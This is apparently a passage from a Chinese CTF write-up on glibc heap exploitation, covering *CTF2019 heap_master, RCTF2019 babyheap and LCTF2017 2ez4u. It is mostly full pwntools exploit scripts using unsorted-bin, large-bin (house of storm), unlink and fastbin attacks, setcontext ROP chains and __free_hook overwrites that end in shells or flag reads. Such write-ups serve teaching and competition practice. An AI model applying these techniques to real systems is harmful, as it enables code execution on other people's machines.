78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 2

libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]

def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None


if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)


for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\x00'))
if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)

if debug == 1:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
stdout_addr = 0x2620
elf = ELF('./heap_master')
p = process('./heap_master')

elif debug == 2:
libc = ELF('./libc.so.6')
stdout_addr = 0x5600
elf = change_ld("./heap_master",'./ld-linux-x86-64.so.2')
p = elf.process(env={"LD_PRELOAD":"./libc.so.6"})

def Add(size):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil("size: ")
p.sendline(str(size))

def Edit(offset,content):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil("offset: ")
p.sendline(str(offset))

p.recvuntil("size: ")
p.sendline(str(len(content)))

p.recvuntil("content: ")
p.send(content)

def Delete(offset):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil("offset: ")
p.sendline(str(offset))

def Exit():
p.recvuntil('>> ')
p.sendline('4')

def exp():
offset = 0x8800-0x7a0
#leak libc
Edit(offset+0,p64(0)+p64(0x331))#0
Edit(offset+0x330,p64(0)+p64(0x31))#1
Edit(offset+0x330+0x30,p64(0)+p64(0x411))#2
Edit(offset+0x330+0x30+0x410,p64(0)+p64(0x31))#3
Edit(offset+0x330+0x30+0x410+0x30,p64(0)+p64(0x411))#4
Edit(offset+0x330+0x30+0x410+0x30+0x410,p64(0)+p64(0x31))#5
Edit(offset+0x330+0x30+0x410+0x30+0x410+0x30,p64(0)+p64(0x31))#6

Delete(offset+0x10)#0
Delete(offset+0x330+0x30+0x10)#2
Add(0x90)

#set two main_arena addr
Edit(offset+0x330+0x30,p64(0)+p64(0x111)+p64(0)+p64(0x101))
Edit(offset+0x330+0x30+0x110,p64(0)+p64(0x101))
Edit(offset+0x330+0x30+0x110+0x100,p64(0)+p64(0x101))


Delete(offset+0x330+0x30+0x10+0x10)
Add(0x90)
Edit(offset+0x330+0x30+0x110,p64(0)+p64(0x101))

Delete(offset+0x330+0x30+0x10)
Add(0x90)

#recover
#Edit(0x330+0x30,p64(0)+p64(0x411))#2 again

Edit(offset+0x330+0x30+0x3f0,p64(0x3f0)+p64(0x20)+p64(0)*2+p64(0)+p64(0x31))

#
Edit(offset+0x330+0x30+0x8,p64(0x3f1)+p64(0)+p16(stdout_addr-0x10))
Edit(offset+0x330+0x30+0x18+0x8,p64(0)+p16(stdout_addr+0x19-0x20))
Delete(offset+0x330+0x30+0x410+0x30+0x10)#4
gdb.attach(p)

Add(0x90)
if debug == 1:
p.recvn(0x18)
libc_base = u64(p.recv(8)) - (0x7ffff7dd06e0 - 0x7ffff7a0d000)
#map
map_addr = u64(p.recv(8)) - (0xc13b1800-0xc13a9000)
else:
map_addr = u64(p.recv(8)) - 0x8800
libc_base = u64(p.recv(8)) - (0x7ffff7dd5683-0x7ffff7a37000)

log.success("libc base => " + hex(libc_base))
log.success("map addr => " + hex(map_addr))
#get shell
offset = 0
Edit(offset+0,p64(0)+p64(0x331))#0
Edit(offset+0x330,p64(0)+p64(0x31))#1
Edit(offset+0x330+0x30,p64(0)+p64(0x511))#2
Edit(offset+0x330+0x30+0x510,p64(0)+p64(0x31))#3
Edit(offset+0x330+0x30+0x510+0x30,p64(0)+p64(0x511))#4
Edit(offset+0x330+0x30+0x510+0x30+0x510,p64(0)+p64(0x31))#5
Edit(offset+0x330+0x30+0x510+0x30+0x510+0x30,p64(0)+p64(0x31))#6
libc.address = libc_base
_dl_open_hook = libc_base + (0x7ffff7dd92e0-0x7ffff7a37000)

Delete(offset+0x10)#0
Delete(offset+0x330+0x30+0x10)#2

Add(0x90)
#
mov_rdi_call_rbx = libc_base + 0x7fd7d
# gdb.attach(p)
Delete(offset+0x330+0x30+0x510+0x30+0x10)#4
Edit(offset+0x330+0x30,p64(0)+p64(0x3f1)+p64(0)+p64(_dl_open_hook-0x10)+p64(0)+p64(_dl_open_hook-0x20))
Edit(offset+0x330+0x30+0x3f0,p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21))
Add(0x90)
# gdb.attach(p,'b *setcontext+53')

# .text:000000000007FD7D mov rdi, [rbx+48h]
# .text:000000000007FD81 mov rsi, r13
# .text:000000000007FD84 call qword ptr [rbx+40h]
# 0x7fae9ce44b75 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]

Edit(offset+0x8a0,p64(mov_rdi_call_rbx))
Edit(offset+0x8a0+0x40,p64(libc.sym['setcontext']+53)+p64(map_addr+0x200))
#
p_rsp = libc_base + 0x0000000000003870
Edit(offset+0x200+0x68,p64(map_addr))
Edit(offset+0x200+0x70,p64(0x10000))
Edit(offset+0x200+0x88,p64(7))
Edit(offset+0x200+0xa0,p64(map_addr+offset+0x200)+p64(libc.sym['mprotect']))
#sc
sc = asm('mov rdi,'+str(map_addr+offset))
sc += asm('''
xor rsi,rsi
xor rdx,rdx
mov rax,2
syscall
mov rdi,rax
''')
sc += asm('mov rsi,'+str(map_addr+0x300))
sc += asm('''
mov rdx,48
mov rax,0
syscall
mov rdi,1
mov rax,1
syscall
''')
Edit(offset,'./flag\x00')
Edit(offset+0x1f8,'./flag\x00\x00'+p64(map_addr+0x208)+sc)
#offset+0x8900
Delete(111)

p.interactive()

exp()

方法三: unsorted bin+free_hook

参考链接:https://z3r3f.gitee.io/2019/05/12/2019StartCTF/

前面是unsorted bin的利用,来改global_max_fast和leak地址,和方法一的前部分是一样的

后面是利用free 指定大小的chunk 填入main_arena fastbinY的队列,覆盖free_hook
所以我们找到main_arena到free_hook的偏移来算出chunk的指定size
然后改值为system,delete内容为’/bin/sh’的chunk就可以getshell了

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#coding=utf8
from sc_expwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
context.terminal = ['tmux','splitw','-h']
# p = process('./heap_master')
p=remote('node3.buuoj.cn',27915)
libc = ELF("./libc-2.23.so")
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def malloc(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
# else:
# self.sendline('1')
# self.sendline(str(size))

def malloc_(size):
p.sendline('1')
p.sendline(str(size))


def edit(offset,content):
# if self.wait:
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(offset))
p.sendlineafter('size: ', str(len(content)))
p.sendafter('content: ', content)
# else:
# self.sendline('2')
# self.sendline(str(offset))
# self.sendline(str(len(content)))
# self.send(content)


def edit_(offset,content):
p.sendline('2')
p.sendline(str(offset))
p.sendline(str(len(content)))
p.send(content)


def free(offset):
# if self.wait:
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(offset))
# else:
# self.sendline('3')
# self.sendline(str(offset))

def free_(offset):
p.sendline('3')
p.sendline(str(offset))



libc_guess = 0x7ffff7a0d000
offset_libc_free_hook= libc_guess +libc.symbols['__free_hook']
print hex(offset_libc_free_hook)
offset_max_fast = offset_libc_free_hook +0x50
# offset_max_fast=libc_guess+libc.symbols['global_max_fast']
offset_libc_stdout=libc_guess+libc.symbols['_IO_2_1_stdout_']


edit(0x8,p64(0x91)) #0
edit(0x98, p64(0x21)) #1
edit(0xb8, p64(0x21)) #2
free(0x10)

# gdb.attach(proc.pidof(p)[0])
edit(0x18, p16((offset_max_fast-0x10)&0xffff))
malloc(0x80)#global_max_fast 赋值

# gdb.attach(proc.pidof(p)[0])
edit(0x8, p64(0xf1))
edit(0xf8, p64(0x11))

free(0x10)
edit(0x8, p64(0x91))

# gdb.attach(p)
edit(0x18, p16((offset_libc_stdout+0x10-0x10)&0xffff)) #read_end

malloc(0x88)

edit_(0x8, p64(0xf1))
free_(0x10)
edit_(0x8, p64(0x91))
# gdb.attach(proc.pidof(p)[0])
edit_(0x18, p16((offset_libc_stdout+0x20-0x10)&0xffff)) #write_base
malloc_(0x88)

heap_addr = u64(p.recv(8).ljust(8,'\x00'))-0x20
print hex(heap_addr)
fake = u64(p.recv(8).ljust(8,'\x00'))
print hex(fake)
addr_buf_base = u64(p.recv(8).ljust(8,'\x00'))
print hex(addr_buf_base)
libc_addr = u64(p.recv(8).ljust(8,'\x00'))-16 - libc.symbols['_IO_2_1_stdout_']
print hex(libc_addr)
p.recv(0x838)
addr_stack= u64(p.recv(8).ljust(8,'\x00'))-0x3
print hex(addr_stack)

libc.address=libc_addr
addr_libc_gets = libc.sep_function['gets']
addr_libc_stdout = libc.symbols['_IO_2_1_stdout_']
addr_libc_dl_open_hook = libc.symbols['_dl_open_hook']
addr_libc_io_file_jumps = libc.symbols['_IO_file_jumps']
addr_libc_io_str_jumps = addr_libc_io_file_jumps + 0xc0
fastbin_ptr=libc.symbols['__free_hook']-0x1c88 +8
free_hook=libc.sym["__free_hook"]
system_addr=libc.sym["system"]


size=0x3920
fake_size=p64(size+1)
edit(0x38,fake_size)
edit(0x30+size,p64(0)+p64(0x21))
free(0x40)


edit(0x40,p64(system_addr))#修改fd为system
malloc(0x3910)


edit(0x110,'/bin/sh\x00')
free(0x110)
p.interactive()

RCTF2019 babyheap

这道题想解决的知识点:

1.colloc的原理
2.house of strom

分析

用mallopt关闭了fastbin的分配
那就用large bin attack(也可以通过改global_max_fast来实现重新开启fastbin,这种方法会比较麻烦,这里重点讲largebin)

off by one的洞,开了沙箱,ban掉了execve,就只能orw
我们通过overlap来leak出libc的地址,然后构造chunk(size大于空闲块),空闲块进入smallbin,然后就可以leak出heap的地址

colloc

calloc申请堆块会对堆块进行清空

函数calloc() 会将所分配的内存空间中的每一位都初始化为零
也就是说,如果你是为字符类型或整数类型的元素分配内存,那么这些元素将保证会被初始化为0;
如果你是为指针类型的元素分配内存,那么这些元素通常会被初始化为空指针;
如果你为实型数据分配内存,则这些元素会被初始化为浮点型的零.

house of storm

随后large bin 操作,实现overlap,构造chunk改bk 和bk_nextsize(house of storm)
指向free_hook
然后我们在一个chunk里填入orw的rop链
再往free_hook里面填入setcontext+53的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> x/40si 0x00007f52b004ab85
0x7f52b004ab85 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x7f52b004ab8c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7f52b004ab93 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7f52b004ab97 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7f52b004ab9b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7f52b004ab9f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7f52b004aba3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7f52b004aba7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7f52b004abae <setcontext+94>: push rcx
0x7f52b004abaf <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7f52b004abb3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7f52b004abba <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7f52b004abc1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7f52b004abc5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7f52b004abc9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7f52b004abcd <setcontext+125>: xor eax,eax
0x7f52b004abcf <setcontext+127>: ret

通过上面的gadget我们可以知道

1
2
rdi在[rdi+0x68]上
rsp在[rdi+0xa0]上

我们依照相应的位置写入rop的数据
执行free操作的时候就可以调用rop链了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#coding=utf8
from pwn import *

context.log_level = "debug"
# context.terminal = ["tmux","split","-h"]

p = process("./babyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size):
p.recvuntil("Choice: ")
p.sendline('1')
p.recvuntil("Size: ")
p.send(str(size))

def edit(idx,data):
p.recvuntil("Choice: ")
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Content: ")
p.send(data)

def delete(idx):
p.recvuntil("Choice: ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))

def show(idx):
p.recvuntil("Choice: ")
p.sendline('4')
p.recvuntil("Index: ")
p.sendline(str(idx))


add(0x18) #0 0x21
add(0x28) #1 0x31
add(0xf8) #2
add(0x18) #3


add(0x18) #4
add(0x508) #5
add(0x18)

add(0x18)
add(0x508)
add(0x18)

# gdb.attach(p)
delete(0)
edit(1,'a'*0x20+p64(0x50))
delete(2)
add(0x18)
show(1)
libc_address=u64(p.recv(6).ljust(8,'\x00')) - 0x3c4b78
print hex(libc_address)
free_hook = libc.symbols["__free_hook"]+libc_address
fake_chunk = free_hook - 0x20
# gdb.attach(p)



add(0x68) #2
add(0x48) #10
add(0x100) #11 -> old chunk2->smallbin 0xe0
delete(2)

add(0x100) #2 -> chunk2 -> smallbin
show(1)
heap_base = u64(p.recvuntil("\n",drop=True).ljust(8,'\x00'))-0xe0
print hex(heap_base)
add(0x68)
add(0x68)

edit(5,'a'*0x4f0+p64(0x500))
delete(5)
edit(4,'a'*0x18)
# gdb.attach(p)

add(0x18)
add(0x4d8) #14

delete(5)
delete(6)# -->0x508

add(0x30)
add(0x4d0)
# delete(8) #unsorted bin

edit(8,'a'*0x4f0+p64(0x500))
delete(8)

edit(7,'a'*0x18)
add(0x18)#8
add(0x4d8)#15

delete(8)
delete(9)# free ->chunk5 but chunk8 here

add(0x40)

delete(6) #构造一个largebin 一个unsortedbin
add(0x4e8) #chunk5->largebin
delete(6) #chunk2->unsortedbin


payload = p64(0)*3 + p64(0x4f1) + p64(0) + p64(fake_chunk) +p64(0)*2# bk fackchunk->fd
edit(14,payload)

payload2 = p64(0)*4 + p64(0) + p64(0x4e1)
payload2 += p64(0) + p64(fake_chunk+8) #bk -->fakechunk->bk
payload2 += p64(0) + p64(fake_chunk-0x18-5)#size 0x56

edit(15,payload2)
gdb.attach(p)
add(0x40)
# edit(8,p64(0)*3+p64(0x511))
ret = libc_address+0x937
p_rdi_r = libc_address+ 0x21112 #0x21102
p_rsi_r = libc_address+ 0x202f8 #0x202e8
p_rdx_r = libc_address+0x1b92


rop_chain = "flag".ljust(8,"\x00")+p64(0)*12+p64(heap_base+0x1c0) #[rdi+0x68] is rdi
rop_chain += p64(0) #[rdi+0x70] is rsi
rop_chain += p64(0)*2 + p64(0) #[rdi+0x88] is rdx
rop_chain = rop_chain.ljust(0xa0,"\x00")
rop_chain += p64(heap_base+0x1c0+0x100)
rop_chain += p64(libc.symbols["open"]+libc_address)
rop_chain = rop_chain.ljust(0x100,"\x00")
#now read and write
rop_chain += p64(p_rdi_r)+p64(3)+p64(p_rsi_r)+p64(heap_base+0x1c0+0x200)
rop_chain += p64(p_rdx_r)+p64(0x100)
rop_chain += p64(libc.symbols["read"]+libc_address)

rop_chain += p64(p_rdi_r)+p64(1)+p64(p_rsi_r)+p64(heap_base+0x1c0+0x200)
rop_chain += p64(p_rdx_r)+p64(0x100)
rop_chain += p64(libc.symbols["write"]+libc_address)

edit(14,rop_chain)

edit(6,"A"*0x10+p64(libc.symbols["setcontext"]+53+libc_address))
delete(14)
p.interactive()

参考链接

https://blog.rois.io/2019/rctf-2019-official-writeup/
https://x3h1n.github.io/2019/05/26/RCTF-2019-babyheap/

LCTF2017 2ez4u

漏洞点是uaf
官方wp给的是largebin的操作
感觉看起来好复杂啊,调试也要调很久

用了unlink来控制堆块,然后两个smallbin绕过’\x00’,后面还将堆块劫持到main_arena上,多add几个大的chunk,到达freehook的位置,并赋值为system,然后再通过chunk1(unlink处理的chunk,overlap了很多个smallbin),改chunk2的fd为’/bin/sh’,free(2)->system('/bin/sh')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#coding=utf8
from pwn import *
context.log_level = 'debug'
p=process("./2ez4u")
elf=ELF('./2ez4u')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size,desc,color='0',value='0',num='0'):
p.recvuntil("hoice: ")
p.sendline("1")
p.recvuntil("n):")
p.sendline(str(color))
p.recvuntil("999):")
p.sendline(str(value))
p.recvuntil("-16):")
p.sendline(str(num))
p.recvuntil("024):")
p.sendline(str(size))
p.recvuntil("apple:")
p.send(desc)

def edit(idx,desc,color='3',value='1000',num='100'):
p.recvuntil("hoice: ")
p.sendline("3")
p.recvuntil("0-15):")
p.sendline(str(idx))
p.recvuntil("n):")
p.sendline(str(color))
p.recvuntil("999):")
p.sendline(str(value))
p.recvuntil("-16):")
p.sendline(str(num))
p.recvuntil("apple:")
p.send(desc)

def delete(idx):
p.recvuntil("hoice: ")
p.sendline("2")
p.recvuntil("0-15):")
p.sendline(str(idx))

def show(idx):
p.recvuntil("hoice: ")
p.sendline("4")
p.recvuntil("0-15):")
p.sendline(str(idx))

def exp():

add(0x10,'a\n') #0
add(0x10,'a\n') #1
add(0x10,'b\n') #2
add(0x3e0,"a\n") #3
add(0x60,"a\n") #4
add(0x3f0,"a\n") #5
add(0x40,"a\n") #6
add(0x80,'a\n') #7
add(0x60,'a\n') #8
add(0x50,'a\n') #9
add(0x290,'b\n') #10
add(0x80,'a\n') #11

delete(0)
delete(5)
delete(3)
# gdb.attach(p)

add(0x400,"a\n") #0
show(3)
p.recvuntil("description:")
heap_base=u64(p.recvuntil("\n")[:-1].ljust(8,'\x00'))-0x4e0-0x30
print hex(heap_base)


unlink_addr=heap_base+0x58 #chunk1->bk_nextsize
fake_large=heap_base+0x910+0x30 #0x940 chunk6
payload=p64(0x411)+p64(unlink_addr-0x18)+p64(unlink_addr-0x10)

edit(1,p64(fake_large)+'\n') ## write large bin address to bypass unlink the largebin

#chunk6-10构成的fake_chunk
edit(6,payload+"\n")
edit(10,'a'*0x218+p64(0x410)+p64(0x70)+'\n') #chunk6-10构成的fake_chunk


# log.info("fake large bin: %s"%hex(fake_large))
payload=p64(fake_large)+'\n'
edit(3,payload) #chunk3‘s bk_nextsize


delete(1) ## unlink clear 1st to avoid overwrite the 3rd ptr

delete(11)
delete(7) # delete the same size chunk to smallbin to bypass '\x00' truncated in add


payload='a'*0x28+p64(heap_base+0xdc0)[:-1]+'\n'
add(0x3f0,payload) # 1 malloc out the fake largebin

edit(3,p64(heap_base+0x510)+'\n') ## fix the largebin chain
add(0x80,'1\n') #3 ##在0xdc的地方malloc了,之后将chunk7的fd位置直接链接到了main_arena -> show chunk1就能得到libc地址
show(1)

p.recvuntil("a"*0x28)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x3c4c08
main_arena = libc_base+0x3c4b20
free_hook=libc_base+libc.symbols['__free_hook']
system_addr=libc_base+libc.symbols['system']
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
onegadget = libc_base+one_gadgets[1]

edit(1,'a'*0x18+p64(0)+p64(0x81)[:-1]+'\n') #chunk7/2复原

delete(8)
delete(9) #-->2 fastbin

fake_fastbin=main_arena+0x30
#布置恢复chunk2,chunk3-- chunk3--》main_arena+0x30
payload='a'*0x18+p64(0)+p64(0x81)+'\x00'*0x90+p64(0)+p64(0x81)+p64(0x71)+p64(0x0)+'\x00'*0x60+p64(0)+p64(0x71)+p64(fake_fastbin)[:-1]+'\n'
edit(1,payload) ## change fastbin chain to form fastbin attack

add(0x60,'a\n')
add(0x50,'a\n')


payload=p64(free_hook-0xb58)[:-1]+'\n' #自行计算到free_hook的距离
add(0x50,payload) #7 写进main_arena里面


delete(5)
payload='a'*0x18+p64(0)+p64(0x81)+'\x00'*0x90+p64(0)+p64(0x81)+p64(0)+'\n'
edit(1,payload)

#把空闲chunk填了,并在main_arena的位置开始add chunk直至freehook
delete(2)
add(0x60,'a\n') #2
add(0x300,'\n') #5
add(0x300,'\n') #9

add(0x300,'\n') #12
add(0x300,'\n') #13
add(0x300,'/bin/sh\x00'+'\n') #14
gdb.attach(p)
#system-》free_hook
payload='\x00'*0x1d0+p64(system_addr)+'\n'
add(0x320,payload) #15

payload='a'*0x18+p64(0)+p64(0x81)+'\x00'*0x90+p64(0)+p64(0x81)+'/bin/sh\x00'+'\n'
edit(1,payload)

## trigger free to get shell
delete(2)

p.interactive()


exp()

这题好像还能用fastbin attack做

参考链接

https://github.com/ray-cp/pwn_category/blob/master/heap/largebin_attack/lctf2017-2ez4u/exp.py
https://blog.pwnhub.cn/2017/11/22/LCTF-2017-%E5%AE%98%E6%96%B9Writeup/#2ez4u
https://eternalsakura13.com/2018/03/21/lctf2/